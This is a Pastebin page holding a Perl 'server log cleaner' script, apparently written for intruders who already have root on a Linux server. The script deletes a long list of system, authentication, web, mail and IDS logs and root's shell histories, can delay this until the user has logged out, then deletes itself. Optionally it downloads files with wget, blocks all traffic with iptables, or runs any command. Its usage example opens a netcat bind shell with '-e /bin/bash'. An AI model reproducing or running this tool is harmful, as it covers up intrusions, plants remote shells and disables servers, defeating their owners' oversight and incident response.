Guest User

Perl Server log cleaner

a guest
Mar 9th, 2016
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.32 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #==============================================================#
  3. # BH-LSC 1.0 (BH-Linux Server Cleaner Version 1.0)
  4. # Coded By: Br4v3-H34r7
  5. # Contact: R00T[AT]Br4v3-H34r7[DOT]CoM
  6. # Website: Br4v3-H34r7.CoM | BH2H.CoM
  7. # License: GNU General Public License 3
  8. #==============================================================#
  9. # NOT FOR ILLEGAL USAGE - NOT FOR SCRIPT KIDDIES
  10. #==============================================================#
  11. # BEGIN THE CODE
  12. {
  13. $uid = getpwuid($>); # Get User ID
  14. if($uid eq "root") # If root
  15. {
  16. @logs = ("/var/log/lastlog", "/var/log/messages", "/var/log/warn", "/var/log/wtmp", "/var/log/poplog", "/var/log/qmail", "/var/log/smtpd", "/var/log/telnetd", "/var/log/secure", "/var/log/auth", "/var/log/auth.log", "/var/log/cups/access_log", "/var/log/cups/error_log", "/var/log/thttpd_log", "/var/log/spooler", "/var/spool/tmp", "/var/spool/errors", "/var/spool/locks", "/var/log/nctfpd.errs", "/var/log/acct", "/var/apache/log", "/var/apache/logs", "/usr/local/apache/log", "/usr/local/apache/logs", "/usr/local/www/logs/thttpd_log", "/var/log/news", "/var/log/news/news", "/var/log/news.all", "/var/log/news/news.all", "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice", "/var/log/news/suck.err", "/var/log/news/suck.notice", "/var/log/xferlog", "/var/log/proftpd/xferlog.legacy", "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log", "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log", "/var/log/httpsd/ssl.access_log", "/var/adm", "/var/run/utmp", "/etc/wtmp", "/etc/utmp", "/etc/mail/access", "/var/log/mail/info.log", "/var/log/mail/errors.log", "/var/log/httpd/*_log", "/var/log/ncftpd/misclog.txt", "/var/account/pacct", "/var/log/snort", "/var/log/bandwidth", "/var/log/explanations", "/var/log/syslog", "/var/log/user.log", "/var/log/daemons/info.log", "/var/log/daemons/warnings.log", "/var/log/daemons/errors.log", "/etc/httpd/logs/error_log", "/etc/httpd/logs/*_log", "/var/log/mysqld/mysqld.log"); # Logs Locations
  17. @shells_history = ("/root/.ksh_history", "/root/.bash_history", "/root/.sh_history", "/root/.history", "/root/*_history", "/root/.login", "/root/.logout", "/root/.bash_logut", "/root/.Xauthority"); # Shells History Locations
  18. if(@ARGV eq 0)
  19. {
  20. print "\n\t+--------------------------+\n";
  21. print "\t| BH-LSC 1.0 |\n";
  22. print "\t| Coded By Br4v3-H34r7 |\n";
  23. print "\t| Br4v3-H34r7.CoM|BH2H.CoM |\n";
  24. print "\t+--------------------------+\n\n";
  25.  
  26. print "[*] FastMode Usage: perl $0 [Seconds] [Command(s)]\n";
  27. print "[*] EXAMPLE: perl $0 30 \"nc -l -p 3434 -e /bin/bash\"\n\n";
  28.  
  29. print "[+] Start Clean The Server? (Y/N): ";
  30. chomp($Clean = <STDIN>); # Get The Answer
  31. $LClean = "\L$Clean"; # Make User Input Lowercase Character
  32. if($LClean eq "y") # Answer Yes
  33. {
  34. print "[+] Clean The Server After You Exit? (Y/N): ";
  35. chomp($AfterExit = <STDIN>); # Get The Answer
  36. $LAfterExit = "\L$AfterExit"; # Make User Input Lowercase Character
  37. if($LAfterExit eq "y") # Answer Yes
  38. {
  39. print "[+] After How Many Time? (Seconds): ";
  40. chomp($Seconds = <STDIN>); # Get The Seconds
  41.  
  42. print "[+] Run Custom Command After Cleaning The Logs? (Y/N): ";
  43. chomp($RunAfter = <STDIN>); # Get The Answer
  44. $LRunAfter = "\L$RunAfter"; # Make User Input Lowercase Character
  45. if ($LRunAfter eq "y") # Answer Yes
  46. {
  47. print " (1) Make This Tool Remove It Self\n";
  48. print " (2) Delete Custom File From The Server\n";
  49. print " (3) Get File To The Server (Using \"wget\")\n";
  50. print " (4) Don't Allow Any Server Connections (Using \"iptables\" Firewall)\n";
  51. print " (5) Use Other Or Multi Commands (Use \";\" Between The Commands)\n";
  52.  
  53. print "[+] Enter The Number Of Your Choice: ";
  54. chomp($theanswer = <STDIN>); # Get The Answer
  55. if($theanswer eq 1) # Make This Tool Remove It Self
  56. {
  57. use Cwd qw(realpath);
  58. $toolpath = realpath($0); # Get The Tool Name
  59. $command = ("rm -rf \"$toolpath\""); # Set After Exit Command
  60. }
  61. elsif($theanswer eq 2) # Delete Custom File From The Server
  62. {
  63. print "[+] Enter File Location: ";
  64. chomp($file = <STDIN>); # Get File Location
  65. $command = ("rm -rf \"$file\""); # Set After Exit Command
  66. }
  67. elsif($theanswer eq 3) # Get File To The Server
  68. {
  69. print "[+] Enter File URL: ";
  70. chomp($wget_url = <STDIN>); # Get File URL
  71. print "[+] Enter Save Location: ";
  72. chomp($wget_location = <STDIN>); # Get Save Location
  73. $command = ("wget -O $wget_location $wget_url"); # Set After Exit Command
  74. }
  75. elsif($theanswer eq 4) # Don't Allow Any Server Connections
  76. {
  77. print "[+] DANGEROUS This Choice Will Make The Server Drop INPUT/OUTPUT/FORWARD Connections (Y/N): ";
  78. chomp($answer5 = <STDIN>); # Get The Answer
  79. $Lanswer5 = "\L$answer5"; # Make User Input Lowercase Character
  80. if ($Lanswer5 eq "y") # Answer Yes
  81. {
  82. $command = ("/sbin/iptables -F;/sbin/iptables -P INPUT DROP;/sbin/iptables -P OUTPUT DROP;/sbin/iptables -P FORWARD DROP"); # Set After Exit Command
  83. }
  84. else # Error Input
  85. {
  86. print "[!] Error: Wrong Input... Skipped!\n";
  87. }
  88. }
  89. elsif($theanswer eq 5) # Use Other Or Multi Commands
  90. {
  91. print "[+] Enter The Command(s): ";
  92. chomp($command = <STDIN>); # Set After Exit Command
  93. }
  94. else # Error Input
  95. {
  96. print "[!] Error: Wrong Input... Skipped!\n";
  97. }
  98. }
  99. elsif($LRunAfter eq "n") # Answer No
  100. {
  101. print "[-] Answer No, Run Custom Command After Cleaning The Logs... Skipped!\n";
  102. }
  103. else # Error Input
  104. {
  105. print "[!] Error: Wrong Input... Skipped!\n";
  106. }
  107. print "[+] You Have \"$Seconds\" Seconds To Exit The Server\n";
  108. sleep $Seconds; # Wait For Some Seconds
  109. }
  110. elsif($LAfterExit eq "n") # Answer No
  111. {
  112. print "[-] Answer No, Delete Server Logs After Exit... Skipped!\n";
  113. }
  114. else # Error Input
  115. {
  116. print "[!] Error: Wrong Input... Skipped!\n";
  117. }
  118. print "[+] Start Cleaning The Server...\n";
  119. sleep 2; # Wait For 2 Seconds
  120.  
  121. unlink @logs; # Deleting System Logs
  122. print "[+] Server Logs Deleted Successfully\n";
  123. sleep 2; # Wait For 2 Seconds
  124.  
  125. unlink @shells_history; # Deleting Shells History
  126. print "[+] Shells History Deleted Successfully\n\n";
  127.  
  128. system $command; # Run The Command
  129. }
  130. elsif($LClean eq "n") # Answer No
  131. {
  132. print "[-] Answer No, Exit With Out Cleaning... Exit!\n";
  133. }
  134. else # Error Input
  135. {
  136. print "[!] Error: Wrong Input... Exit!\n";
  137. }
  138. }
  139. else # FastMode
  140. {
  141. sleep $ARGV[0]; # Wait For Some Seconds
  142. unlink @logs; # Deleting System Logs
  143. unlink @shells_history; # Deleting Shells History
  144. system $ARGV[1]; # Run The Command(s)
  145. }
  146. }
  147. else # If Not root
  148. {
  149. print "[!] Error: You Must Be Server \"root\" To Use This Tool... Exit!\n";
  150. }
  151. }
  152. # END THE CODE
  153. #==============================================================#
Add Comment
Please, Sign In to add comment